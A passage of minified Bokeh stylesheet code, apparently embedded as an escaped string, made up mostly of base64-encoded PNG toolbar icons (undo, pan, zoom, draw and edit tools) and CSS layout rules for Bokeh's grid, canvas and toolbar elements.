QTE0ODk2NTE1M0M0MkZENCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgTWFjaW50b3NoIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6OTQ0QzIwMUM1RjIxNjgxMUE3QkFFMzhGRjc2NTI3MjgiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NzcyMEVBRjA2MjIxNjgxMTk3QTVDQTY1REE2OTk0Q0UiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6eYZ88AAADLklEQVR42rSXf2TUYRzHv7tuGcfE6Vwb5zLSSjEj7Y9KWqfEmFZJP+yPMdKKmUrrn0iUfjhWlLFi6YfNrF+StBoTo39iYkTGco4xxxG59P7k/T2PT8/37nu3bx9ezvPj+zyf5/PreS78bGLS8SmrwE6yje3NHJsDBTALpknBz6JhH3NiYAB0gHqPOVv52wJ6QQ48BzdAttTioRJjdeA8mAHHS2xuk3p+M8M16ipVQE49Ds6CiFO9RLjGONf05QLx6wPQaBlbBlPgJVgkP0ETiIJ2sB/E1XfimjfgBOOlKDUqCGOcqBcQnw6BYW5YTo4wbvQhMmCfGRemC2rBiGXzWUb+kM/NRZ6CHWBM9ce5R61NgX6ayhSJ5EPlItlDRNkz4JbFHf06BkSzHjXxM+gDv1S/mPUo2AXWgt9UUHL/IVhS8yUV1/EbV3o4N+NaoE9Fu/i827K5pNYHnqAVJECShWmAaddpscYFFXwR7vnXBRGlnUN/L6kqKJlxnRUuDbaDBiL+vst5d4gpcpBrqk/2jIgCKVUolhntplzivHmwh4stGOPfwBWwl/2dpp8p7xjQZqFLiQJtauKkivYm+kzccpK57yXfOUe+P23JqAnVbhMFmlXntCWnxbT31am9ZJ4BJifsUmNTqt0cYhA5ypympPg7VkEKunPbVb8cIG+0kyHLJZNR7fUMooUKFHAPkfQo58VLK+RzwRDd4FdWG9mjpaAXzqkJa1R7kQttqEABWXMjOOxxVRfnhRm5URX1prk/0pQHwNcKlchZ+jdpC+hFdVqO0my9Hj5dkYgCn1Rfh/KdlNDHrJhPqlDih+IfBd6qwpOgEqYMsorJ2HtWxtagLJDn/W3KRfPOZhoeBJfZPgVeGKeKrkQBh5dLXl25Ny3pc4/1fkTdbvFqFQgbxWeYD0hXulhQ0pYiM1jG547fcbMQpVnHTZEn9W3ljsCzwHxCdVteNHIZvQa7/7cC7nV6zHIfyFP9EXjFa7YxKAVqPP4bxhhoLWW+z9JyCb6M/MREg59/RlmmXbmneIybB+YC/ay+yrffqEddDzwGvKxxDmzhc0tc80XVgblqFfgjwAAPubcGjAOl1wAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-undo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4em8Dh0gAAAatJREFUWMPt1rFrFFEQBvDfGhACASshkL/ALpWVrSAKEQV5sIULWlgZNSgIFkGIVQ412gkBt1lYLERREFJqJRaW1oHAoZUQsDqwecWy7N3tbe6C4H2wxc682Zn3zTfvLXPM8b8j6RqYF+UCzsfnHBawGt3fMcAX7GEvS8NgKgXkRbmMxwg41TLsN0psZmnodyogL8pFPMIdLHUk7hA7eJKl4U/rAuKu3+HslFr/FZezNPSTFslX8QErDe4DvMVH/Iq9F7VwGpdwZUjsPtaSFjv/1vCBPjaxO0xcNbHejLpZrrlvJCMCT+JzA+2fcC1Lw+GE4l3CG1yIptfjCtiKoqtiJ0vD3aM0Py/K57iIMxgkQxat4EdN7e9xdRzlk+LEEPvDWvIDXJ928sYxjL36icWK+VaWhlezOIqbGFirJd/H7szugrwoX+D2BDEvszSsT5OBdfRaru/F9dPXQF6U27g/KnmWhgctxqyzBrZGMNGL/rHI0nDkKXiKexXTsywNGx0OnFbFNk3BRoWJXnw//j+ivCi32/S8CxPVNiWOAdUiJtXITIqYY45/Cn8B2D97FYW2H+IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-wheel-pan{background-image:url(\\\\\\\"data:image/png;base64,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\\\\\\\")}.bk-root .bk-tool-icon-wheel-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgskILvMJQAABTtJREFUWMPdl1+MXVUVxn/fPvf2zrSFmUKnoBCUdjRoVaIxEpO2JhilMYBCtBQS2hejpg1Uo2NUrIFAoyGmtiE+GHwQGtvQJhqDmKYRBv+URFsFDNCSptH60DJTO3dKnX/33rM/H7rvsDu9M20fDMaVnGTvtb69z7fWXmvtc/TEzqd4OyXwNsv/FwFJQVI/sA14SZKRLOlPkr5TrVYXHz70quYkEEK4TtI2YAgYkrQthHDdhV5uuw+43/ZrwCbgRttgY/tjtrc0m83X3/f+D6ydnJhYcB4BSZcBA7aP2d4ELAGW2N5k+xgwkDB0IH19CGGH7R8B1aQeAf4KvAw0ku4K2zu7uru3ApdPEyiKohd4TNKjtjt5h6RHgccSNrddbvuHtm9Jqoak7xVF8WFgdavV+pSk5cCObNmXgK++85prCj3z28HKqZMnH7D9YAY4BvwujT8BvCuL1INX9vVt+dfwcCvNb7f9q2RuSfrGvWu/sL2Nf3LX7pzvj4ENSGBPVarVd4fRkZFltjdmoMGiKO4IIWwIIWwoiuIOYDDzeOPoyMiyFLkum7WJCMDztrcrTTrIRuAQZ6NcK1utL4dWq/VZoC8BhqvV6l1lWb4YYxyLMY6VZflitVq9CxhOmL60hhCKeYiV7WMKIXw9jT1HpXw3c+bOAKzOjJubzebJrKQCQLPZPClpc7bP6rMYKtjXth2OMf7tIkr11Wz8oQDc1Fb09vY+kQw1YAuwJY2nbUluAnCWpKkaFl6IQIzxivaR2SYA89sJVK/Xp2x32R6w/a30DNjuqtfrU0ArYecDCEqgLqm94T0dEm9mBG7PxkdDlkBnkhebgIezNQ8nHcCZPL9ijE1Jf/bZZoPtzbavmqNZLbf9tSxq+yoduuJ+SZ+zXSZyBXCqU+d8fvC5yRUrV+0G2j3g2hDCLyXd/+Su3QdnvP/zCuH72LWsgf2k0oHlH2c2odlkxcpVEdgr6aDtjyb8x20/J+mA7T9I6rL9SWA5dne2/GdXLl58qNJh398An85yTMA+4DOz8Dgu6Zu2dwJXJ91ltm8Gbp7Fgb+EEB4aHhpq5CEtACqVyr3AC0AlPS8k3TSmQ2YPhhBuS/1/LpmS9JTtNTHGfwBU2uUALARotVqniqJYH2Pck85pfavVaufAwnQvnHc0McaDKVptebN94QAnJB0EdtjekydyZXqjs/0ZgLIs/w6sy8bnYGYJ63pgERKC05JutT1kOwITwL9tvzlzUQUYB+Zjs2DBgu6xsbGJZHstByZbezregcBXeCsEz1bnzXt5anLyzLq71zDLxTRdVgemdx0fv2e2w5thO5DbiqL4oKT3ZKpnpyYnz+SY2ZpTAPZmJfdIrVZbNBNUq9UW2X4kU+2dcf53Aj1pj2PA7y/6m1DS00A9za9uNBq7iqJYBuoGdRdFsazRaOzKSqye1rTbaa/tlbYrqXQP2X4FIA9/J1l39xrC0v7+w5IeB8XkwS1lWe6TGJAYKMty31tfO4qSHl/a3384I3CDpI+kzC4lnRfrue6GytEjR8oQwlY73gC0L4qlth/q0M1/LYWtR48cKQF6enrC6dOnVwGLEpnxnp7en4+O1i/tszzGOCTpPmB7ahb57QUwBWyXdF+McWg6MScmuoA8OX8xOlpvXGz422XYTsB/SnpA0h7bX5R0WzI9HUL4qe2XbI+dk3xl+V7gxoztD5jRI+YK/zkEEokx2/uB/RdzIfUtueqVN04cXwF8G3iHY3z9Urw/j8ClyhsnjrcS2Vv/J/8NLxT+/zqBTkcxU/cfEkyEAu3kmjAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-box-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4QfHjM1QAAAGRJREFUWMNjXLhsJcNAAiaGAQYsDAwM/+lsJ+OgCwGsLqMB+D8o08CoA0YdMOqAUQewDFQdMBoFIyoN/B/U7YFRB7DQIc7xyo9GwbBMA4xDqhxgISH1klXbDYk0QOseEeOgDgEAIS0JQleje6IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-freehand-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADTElEQVRYCeWWTWwMYRjH/88721X1lZJIGxJxcEE4OOiBgzjXWh8TJKR76kWacOBGxdEJIdk4VChZI/phidRBHMRRIr7DSUiaSCRFRM3u88gz+o7Z6bBTdjmYZPf9eJ55fv/5zzvvDPC/H9QsA66Olo9Ga+/MdR+Ljm2/KQIULsz9FqItGdOfJKLhApLgVkiSCGODjWit7QpKWy+TNrFeXvzKVUT8NiTVaIgDcbiCFJ7GiT8WkARXAdYBK0Lbhi/CenArRNskuM7/tgNp4ArQ42dwjf3WY5gWTqC7O/NbNn2Xkfw/YwdSw/We14HP2IEZwX+y9cZ9SH0LmgFP7UCz4KkENBNeV0Cz4b8U8DfgKiDxMWwUXETqLvJpCQpXZfawbzS7t9v5pL19cHBwfja7YA0y/lyCM0+E5hv5+piZXwKYcF23as+37bTXsQVqgkL0p/34fHR7DcBtbetFsBmGDwMOJCggYG55yw7dMlk6DuC1Bdu2RsCU9TYWQq2IoGbsreZ5NzvEqfSBsIsIy8OTbcdgiRHeh4o8AFAEwDakbY2AaCCpH7V9aGhoUUUy3UyVbkPYFuYLDlUZH8XBpwxkK0Dbgxg5HcVi0ent7a0RULMIozaHBSMfF9b2SzdutFcFB2FkwMIJOG6qfteXOa1nHZ48tyefuwyfT9s6wtzZ3t7eZse2DR2I228TtHXzuWCx9g8MtK5cuHCZTH4tiHEOa4xFngvTyS8f35d6enomiCi4/foEXBkZaQuukChL4FYA2Whd7YcC4gEdW3CpdL3LtGAVCVYJywEyTpAuJKeMOKXZs/Bw947C50KhUFOG4cwz35cjWNBlHGeD53n3xsfHP/T19U1qciggar8Fa4I3PHobIotBWBtc2hSiChyZxVzM53Pv7FVH6Tp3uVy+g0r1ImD2GjIrQGYIxjnfuXTZGICS5k/bBwJoubwEFX4TLah9EXomJGMA3za+f9913Yl4TnzsDQ+vE6YTZOjHh4ngibstt1pzQwd04F0bPStEBpXqRoBeQ/AKghfBnOEKgS+Q7z91Xfdz/HGKg8Ox7z8iYD9z6wqTkZFgnvhMGP9VZ2or1XVkPM9z0mytSfVsHa1RLBZbLoyNzUnK+ydz3wC6I9x+lwbngwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjglo9eZgwAAAc5JREFUWMPt1zFrU1EUB/DfS4OmVTGDIChCP4BgnQXRxVHqIJUupp9AB8VBQcRBQUXIB9DWQoMRiXZzcnQSA34A7aAuHSJKkgo2LvfBrU3aJnlYkBy4vHcP557zP/9z3r33JdXa647N0kHSZd5Nn0rSxc8G3cXp85sMcnZZ8vge3osZ+l3vB8CWFA0iL14t79h210swAjACMAIwAjACkB90D/8/GchI9ve4nPwTBh5E9ws7OepzGWb9EddSn51Op9ZstadSg4VK1UKlKkmSDSMLALewiuNh/hVJq71Wxttmqz0dG88vPc+MgWP4grvYG3SLOBrZFFFrttqPe4HIDxh4GSei+98iSlusuYopXEAjBtEPA3tQwUpwluAbDm4TPJUz+BTW9l2Ce6G7L0X/Bw8D3T/7SKKIDzHg7QCcxjvcQAEtXAnrrg/RP0/DKPbqgcN4iVOR7gcO4dcQgRuoh7HSqwlP4n20m63jJu5n8MkWMYfP3UowhzdR8FU8w9iQwevBdyq3/27CMRzAE5yLuvsRLg+ZcR1nJ8YL81HWJUzGAPaFZwe/Q5MdyYDyNHgjzO90YyGHtVDncuiJchaHw8R4oREFV5qdiVmYLM3OgD9k5209/atmIAAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-point-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEiERGWPELgAAA4RJREFUWMO1lr1uG1cQhb9ztdRSP7AF1QxgwKlcuZSqRC9gWUUUINWqTh5AnaFOnVPEteQmRuhCURqWsSqqc9IolREXdEvQBElxtdw7KURSFEVKu4w8wAKLxdw9Z+bMnRmZGXfZ29//II8th4WwGVNyIoQLYB5vxA9Caq04iUd9A+7ZlsNC2I7TdSd2hZXMJKlnTqp9jtl/GBaqoyQ0noFKpUIzBicYYc+DEFpxkglc4oVJa5gvDn8v1xV2irG3FM4NSVwjUKlUaMcpJhCGmSEJQ6QGD8M5WnHCd8+f3QCXpPLx8WNwv0j6Bm9FMK7FJ3WBE+R/2t7c/GBmFvSBrzRTCsyTDjXrxUgEMtpxynJYmJoBJ4VAybwVARgvL7Oik0okCodnKpVKX7P0leiVMb0VvbJT+upznK4vh0GIeQwwQStJkHQD3MwsCALTJRG7Qrdrj5m/djgYaIa0hlkRdJk26XEgC9txurccBtVW3IudBImmZuACUP+ZlIDBt9FKcubYNTcAH/X0RYM1E7utJPlqe+uZzPxUcEkiSS4sTT95n15Mud0xWC0o2PAWOCdK3KYZlFxfM+tHOcnMzNr1es18ug+cgsVjP4yBU/Ppfrter1m/+l0+zYygML1xRVHU7TSb1cSzBzoBzszsH+AMdJJ49jrNZjWKou6wBnwOzcyndBpNbuueURR1Dw8Pq35p9cc5p/Dy9Dypt7jXrtdGwQECS9NPhr6Gq6txUzNigE6zydLK6lTw12/KT4FGFEUfJX2YJNONq5tVs4ODA7sD/DnwJ/BoADZuE3tHFs12dna6d4C/BI6AlbyzI8ii2TTw12/KK33gb2cdXsNZoAntbZC2SeO4c9592k/5eNQbiwvFd1kJuFGwLJr1wSPg/SwpvyFBHufOeXcFeAlE97U/uCxOY+P3b+Bn4B3Q+L8EdJfD4a+/AbC4UBzPxiPg3wlHZquB28Cn2IuR9x3gr3uV4DbwfvSDOvi4uFA8BDZmIRHkjHpS9Ht9iRqd8+5G3g05mAGcQbsdiX5QJ428G7Kygo8XYdb1/K4NWVmjzkNge2sz84bs+ELmpDDLtqWsNZBXgvmw8CTtpWVMT7x5YWBjLARnwZfKQNYN2U2LPvrh+5nBt7c2M2/It9bArCTKR8eZN+SJ13AScPnoODeRdqNenH+wul5w2gUr2WUjMFAt8bZ/0axX/wNnv4H8vTFb1QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gELFi46qJmxxAAABV9JREFUWMOdl19vFFUYxn9n9u9sCyylUIzWUoMQBAWCMdEEIt6xIRQSLIEKtvHe6AcA4yeQb7CAUNJy0daLeomJN8SEULAC2kBBapBKoLvbmdl/c14vdmY7u91tF95kknPOnHmf95znPc97Ro2OTeBbdjFDT3c32ZxVHUOE9kSMB0/m6ExuoJn1H+ur6Y+OTfD50SMN5168OgrAlyf7CfuD+z7+iDs3p8hkLUQ0iFQ/yFl5Nm/qonfHVva+s32Zw9GxCYILsZ08tpNfBhbs+1YN4OH9+7huGdECSBVfqUosbsllfmauBqiR+cCNwOr7AEo8pPHJnymXykhg5fUWjoQpl0vVvhZhbSzGoUOHqgBlt6B6uruj2Zy1E9jo0fhfeyL2x4Mnc8VErK0KUEOB64JSyptfG4RSytsJjUJVxw2lsFy3urL9nx1Qd25ObctkrVMi+jQivd7U2ZyV/3Hzpq7h3h1b/7p9Y0o8v8rwAbTWrGpSocN/FGDlbAI0Rl23PCBan0Ok158H9Ipwzi25A/Mzc9Gl/BYx/E4kYqC1NKRARNAaDCNUM27Z+Zr+ouXs0q4+LSLBHPYCFkTkC6uU39kwCdsS7WRKmaYUiAhdnZ3MPX2K4+QjQI+C94A93rMzm8ltMwyDeDzWjMZeEb2pYQDdW3vITU2jtUZ5QThOPgm8C7wP7J15OPsBsB3oWpGnVWisCeDS1VHj4vBI92+/3tgB7Ab2AruAXiDBK5oIOkhtkEYRNRuJhObrd8Dl9ewf4D5wG7hVLpen29vb5wzD+BrkbBMaL3d1dk5nsrnlFDTTFWAWmAZueWD3gCemGde2k2fw1Al1YXhEvjozoO49eczdqekrWmsc2zlrmvEKOGoW1GUjFLqSk2KpJrCLwyMCPAP+BO54QL8DM6YZX/ClsP9YnwKkXnIBP4jdIpJRpdJTCYdMwwi98KU0Hjc/dDILNyUcwTCWdOSMJ0TRmBktGRhLugu0xyLk7CIqVNm+0bGJptl1YXikD0grpY4Rjc4a8Fbgdab/6OGbAJeCUuyJnnHmZH9pbSyGuBXV8NUwlUpR1EWyixmSyTWEwqGlJ2Swbo2JXbAAfgDGgGQA9I1A9t1tlq0AxrXxn0ilUpw4fhQqYkH/sT41OTnJJwf2s6FjI5mshdYa7bqVR2uezr9MJmJt14FvGrh/O9D+e6UkM/xyCuCqEKCYnJyUTKFQrZDHjxzGshwWLQcRsOz8Hi85P23id0ug/XilAMLBmm4tPGdoaKjSH5+oAGrhwvBI9SjZTn4QSK9yenoD7dlrExPoJlXW8G8ytpNHxRKk02lGxsdRKFwXLNvx5yY94HQLGhGk4LFCYQSqaE0AwWM1eOoEbR0dKBSW7bC4mKuffxs4D/wCLKwQQPAUzIkslfp6cVomROWSolh0GjldAM4nzDi2k9/i5UAzC9aKfwNJ3zgJg9YEvN6+C7SHgKm69+sD7RfNnKTTaZRPQfAut4oFV//IS7gkcB34VlVo8kGzphlfB+DU+TfNGBpZtRastvrvARJmfMF28ge9sc2B9/PNnCilMIDwK6y8/ow/Ai4kvILTljAXvDvEvrqKSUs60KolzPjBxspavQD2tKqCAGF/Ba+xE/Wbilu54wZV8NEKF5fXzQHl/bh4hUsE0WAXSlDMYcQSrQXgCmsTseXHsJkNnjqBFGwKJaHsKlxtUHYVhbLCzr1kaOA4bcn1y1Swmb+iLpJKpVrfgdpfsiVVCYcgluwgnU7jEgJ4s5UkLFtWYyHyEg0/N1q1tmQH+YXnAMFr97Nmv3p+0QsHQRsF8qpBOE5+rb9Nkaj50tVQKjqh4OU3GNL/1/So3vuUgbAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-grid-row,.bk-root .bk-grid-column{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap}.bk-root .bk-grid-row>*,.bk-root .bk-grid-column>*{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-grid-row{flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-grid-column{flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-canvas-wrapper{position:relative;font-size:12pt}.bk-root .bk-canvas,.bk-root .bk-canvas-overlays,.bk-root .bk-canvas-events{position:absolute;top:0;left:0;width:100%;height:100%}.bk-root .bk-canvas-map{position:absolute;border:0}.bk-root .bk-logo{margin:5px;position:relative;display:block;background-repeat:no-repeat}.bk-root .bk-logo.bk-grey{filter:url(\\\\\\\"data:image/svg+xml;utf8,<svg xmlns=\\\\\\\\'http://www.w3.org/2000/svg\\\\\\\\'><filter id=\\\\\\\\'grayscale\\\\\\\\'><feColorMatrix type=\\\\\\\\'matrix\\\\\\\\' values=\\\\\\\\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\\\\\\\\'/></filter></svg>#grayscale\\\\\\\");filter:gray;-webkit-filter:grayscale(100%)}.bk-root .bk-logo-notebook{display:inline-block;vertical-align:middle;margin-right:5px}.bk-root .bk-logo-small{width:20px;height:20px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNui8sowAAAOkSURBVDiNjZRtaJVlGMd/1/08zzln5zjP1LWcU9N0NkN8m2CYjpgQYQXqSs0I84OLIC0hkEKoPtiH3gmKoiJDU7QpLgoLjLIQCpEsNJ1vqUOdO7ppbuec5+V+rj4ctwzd8IIbbi6u+8f1539dt3A78eXC7QizUF7gyV1fD1Yqg4JWz84yffhm0qkFqBogB9rM8tZdtwVsPUhWhGcFJngGeWrPzHm5oaMmkfEg1usvLFyc8jLRqDOMru7AyC8saQr7GG7f5fvDeH7Ej8CM66nIF+8yngt6HWaKh7k49Soy9nXurCi1o3qUbS3zWfrYeQDTB/Qj6kX6Ybhw4B+bOYoLKCC9H3Nu/leUTZ1JdRWkkn2ldcCamzrcf47KKXdAJllSlxAOkRgyHsGC/zRday5Qld9DyoM4/q/rUoy/CXh3jzOu3bHUVZeU+DEn8FInkPBFlu3+nW3Nw0mk6vCDiWg8CeJaxEwuHS3+z5RgY+YBR6V1Z1nxSOfoaPa4LASWxxdNp+VWTk7+4vzaou8v8PN+xo+KY2xsw6une2frhw05CTYOmQvsEhjhWjn0bmXPjpE1+kplmmkP3suftwTubK9Vq22qKmrBhpY4jvd5afdRA3wGjFAgcnTK2s4hY0/GPNIb0nErGMCRxWOOX64Z8RAC4oCXdklmEvcL8o0BfkNK4lUg9HTl+oPlQxdNo3Mg4Nv175e/1LDGzZen30MEjRUtmXSfiTVu1kK8W4txyV6BMKlbgk3lMwYCiusNy9fVfvvwMxv8Ynl6vxoByANLTWplvuj/nF9m2+PDtt1eiHPBr1oIfhCChQMBw6Aw0UulqTKZdfVvfG7VcfIqLG9bcldL/+pdWTLxLUy8Qq38heUIjh4XlzZxzQm19lLFlr8vdQ97rjZVOLf8nclzckbcD4wxXMidpX30sFd37Fv/GtwwhzhxGVAprjbg0gCAEeIgwCZyTV2Z1REEW8O4py0wsjeloKoMr6iCY6dP92H6Vw/oTyICIthibxjm/DfN9lVz8IqtqKYLUXfoKVMVQVVJOElGjrnnUt9T9wbgp8AyYKaGlqingHZU/uG2NTZSVqwHQTWkx9hxjkpWDaCg6Ckj5qebgBVbT3V3NNXMSiWSDdGV3hrtzla7J+duwPOToIg42ChPQOQjspnSlp1V+Gjdged7+8UN5CRAV7a5EdFNwCjEaBR27b3W890TE7g24NAP/mMDXRWrGoFPQI9ls/MWO2dWFAar/xcOIImbbpA3zgAAAABJRU5ErkJggg==)}.bk-root .bk-toolbar,.bk-root .bk-toolbar *{box-sizing:border-box;margin:0;padding:0}.bk-root .bk-toolbar-hidden{visibility:hidden;opacity:0;transition:visibility .3s linear,opacity .3s linear}.bk-root .bk-toolbar,.bk-root .bk-button-bar{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap;align-items:center;-webkit-align-items:center;user-select:none;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.bk-root .bk-toolbar .bk-logo{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-toolbar-above,.bk-root .bk-toolbar-below{flex-direction:row;-webkit-flex-direction:row;justify-content:flex-end;-webkit-justify-content:flex-end}.bk-root .bk-toolbar-above .bk-button-bar,.bk-root .bk-toolbar-below .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-toolbar-above .bk-logo,.bk-root .bk-toolbar-below .bk-logo{order:1;-webkit-order:1;margin-left:5px}.bk-root .bk-toolbar-left,.bk-root .bk-toolbar-right{flex-direction:column;-webkit-flex-direction:column;justify-content:flex-start;-webkit-justify-content:flex-start}.bk-root .bk-toolbar-left .bk-button-bar,.bk-root .bk-toolbar-right .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-toolbar-left .bk-logo,.bk-root .bk-toolbar-right .bk-logo{order:0;-webkit-order:0;margin-bottom:5px}.bk-root .bk-toolbar-button{width:30px;height:30px;background-size:60%;background-color:transparent;background-repeat:no-repeat;background-position:center center}.bk-root .bk-toolbar-button:hover{background-color:#f9f9f9}.bk-root .bk-toolbar-button:focus{outline:0}.bk-root .bk-toolbar-button::-moz-focus-inner{border:0}.bk-root .bk-toolbar-above .bk-toolbar-button{border-bottom:2px solid transparent}.bk-root .bk-toolbar-above .bk-toolbar-button.bk-active{border-bottom-color:#26aae1}.bk-root .bk-toolbar-below .bk-toolbar-button{border-top:2px solid transparent}.bk-root .bk-toolbar-below .bk-toolbar-button.bk-active{border-top-color:#26aae1}.bk-root .bk-toolbar-right .bk-toolbar-button{border-left:2px solid transparent}.bk-root .bk-toolbar-right .bk-toolbar-button.bk-active{border-left-color:#26aae1}.bk-root .bk-toolbar-left .bk-toolbar-button{border-right:2px solid transparent}.bk-root .bk-toolbar-left .bk-toolbar-button.bk-active{border-right-color:#26aae1}.bk-root .bk-button-bar+.bk-button-bar:before{content:\\\\\\\" 